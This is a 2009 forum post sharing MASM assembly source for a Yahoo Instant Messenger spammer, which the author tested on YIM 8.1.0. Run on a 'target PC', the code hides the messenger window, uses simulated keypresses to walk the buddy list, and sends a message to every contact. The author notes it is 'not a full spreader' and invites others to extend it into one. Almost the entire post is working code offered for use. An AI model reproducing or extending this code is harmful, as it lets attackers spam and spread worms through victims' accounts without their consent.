Gonzalez Posted September 11, 2009 Report Posted September 11, 2009 Here's a little snippet I made a while back..I tested on version 8.1.0 of YIM.You may want to implement delay, because as of now there is none.Info:Spams out a message to everyone in the Yahoo Messenger list of the target PC running it, provided YIM is open.It's just basic, and this is not a full spreader or anything, if you want that you will have to put work in it. I just made this one night in a few hrs for fun..; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««;; Yahoo Instant Messenger Spammer..; Tested With YIM8.1.0.421; Coded in MASM;; author drizzle@ymail.com;; You should probably use timers if you really gonna use this..; There is no set delay..;; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««;;;;;;;;; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« .486 ; create 32 bit code .model flat, stdcall ; 32 bit memory model option casemap :none ; case sensitive include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\gdi32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\Comctl32.inc include \masm32\include\comdlg32.inc include \masm32\include\shell32.inc include \masm32\include\oleaut32.inc include \masm32\include\msvcrt.inc includelib \masm32\lib\masm32.lib includelib \masm32\lib\gdi32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\Comctl32.lib includelib \masm32\lib\comdlg32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\oleaut32.lib includelib \masm32\lib\msvcrt.libYBuddy PROTOYBuddyATL PROTOYBuddyList PROTOYBuddyCount PROTOYBuddySpam PROTOKPress PROTO :DWORDKPress2 PROTO :DWORDSendYM PROTO; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««;; write your code here;; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« .code;Message to .. SPAM! szSpamMessage db "spaaaaaaam ...",0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 szYTopWindow db "YTopWindow",0 szYTabListManager db "YTabListManager",0 szATL db "ATL:0084FD68",0 szSysListView32 db "SysListView32",0 szYahooBuddyMain db "YahooBuddyMain",0 szYSearchMenuWndClass db "YSearchMenuWndClass",0 szIMClass db "IMClass",0 szYIMInputWindow db "YIMInputWindow",0 szButton db "Button",0 szYMSend db "&Send",0;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-start:Main procinvoke YBuddySpaminvoke ExitProcess,0Main endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-YBuddy proc invoke FindWindow, addr szYahooBuddyMain,0 retYBuddy endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-YBuddyATL proc invoke YBuddy mov ecx, eax invoke FindWindowEx,ecx, 0, addr szYTopWindow,0 mov ecx, eax invoke FindWindowEx,ecx, 0, addr szYTabListManager,0 mov ecx, eax invoke FindWindowEx,ecx, 0, addr szATL,0retYBuddyATL endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-YBuddyList proc invoke YBuddyATL mov ecx, eax invoke FindWindowEx,ecx, 0, addr szSysListView32,0 ;invoke FindWindow, addr szYahooBuddyMain,0 retYBuddyList endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-YBuddyCount proc invoke YBuddyList invoke SendMessage,eax, LVM_GETITEMCOUNT, 0, 0 retYBuddyCount endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-YBuddySpam procLOCAL i1:DWORD, i2:DWORD, lpCount:DWORDLOCAL hBuddy:DWORD, hBuddyList:DWORDinvoke YBuddyListmov hBuddyList, eaxinvoke YBuddymov hBuddy, eaxinvoke SendMessage,eax, LVM_GETSELECTIONMARK, 0, 0.if eax == -1 invoke KPress,VK_DOWN.else invoke YBuddyCount mov lpCount, eax mov i1, 0 .While eax != i1 invoke KPress, VK_UP add i1,1 mov eax, lpCount .endw.endifinvoke ShowWindow, hBuddy, 5invoke SetForegroundWindow,hBuddy mov i1, 1 mov eax, lpCount .While eax != i1 invoke KPress, VK_DOWN invoke KPress, VK_RETURN invoke Sleep, 20 invoke KPress, VK_RETURN ;invoke add i1,1 invoke SendYM mov eax, lpCount .endwretYBuddySpam endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-SendYM procLOCAL lpYahMain:DWORD, i1:DWORD, i2:DWORD,i3:DWORD invoke FindWindow,addr szYSearchMenuWndClass,0 mov lpYahMain, eax@SendNewYahMsg: ;invoke ShowWindow, lpYahMain, 0 invoke SendMessage,lpYahMain, WM_COMMAND, 32891, 0 invoke FindWindowEx,lpYahMain, 0, addr szIMClass, 0 mov i1, eax invoke FindWindowEx,i1, 0, addr szYIMInputWindow, 0 mov i3, eax invoke ShowWindow,lpYahMain,0 invoke SendMessage,i3, WM_SETTEXT, 0, addr szSpamMessage invoke ShowWindow,lpYahMain,0 invoke FindWindowEx,i1, 0, addr szButton, addr szYMSend mov i2, eax .if i2 == 0 ret .endif invoke IsWindowEnabled,i2 .While eax == 0 invoke IsWindowEnabled,i2 .endw invoke SendMessage,i2, WM_KEYDOWN, VK_SPACE, 0 invoke SendMessage,i2, WM_KEYUP, VK_SPACE, 0 invoke ShowWindow,lpYahMain,0 invoke SendMessage,lpYahMain,WM_CLOSE,0,0 invoke FindWindow,addr szYSearchMenuWndClass,0 mov lpYahMain, eax .if eax > 0 ;jmp @SendNewYahMsg .endifretSendYM endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-KPress proc lpKey:DWORD invoke YBuddyList push eax invoke SendMessage,eax, WM_KEYDOWN, lpKey, 0 pop eax invoke SendMessage,eax, WM_KEYUP, lpKey, 0 retKPress endpKPress2 proc lpKey:DWORD invoke keybd_event,lpKey, 0, 0, 0 invoke keybd_event,lpKey, 0, KEYEVENTF_KEYUP, 0 retKPress2 endp;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-include yah.asm;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-end start Quote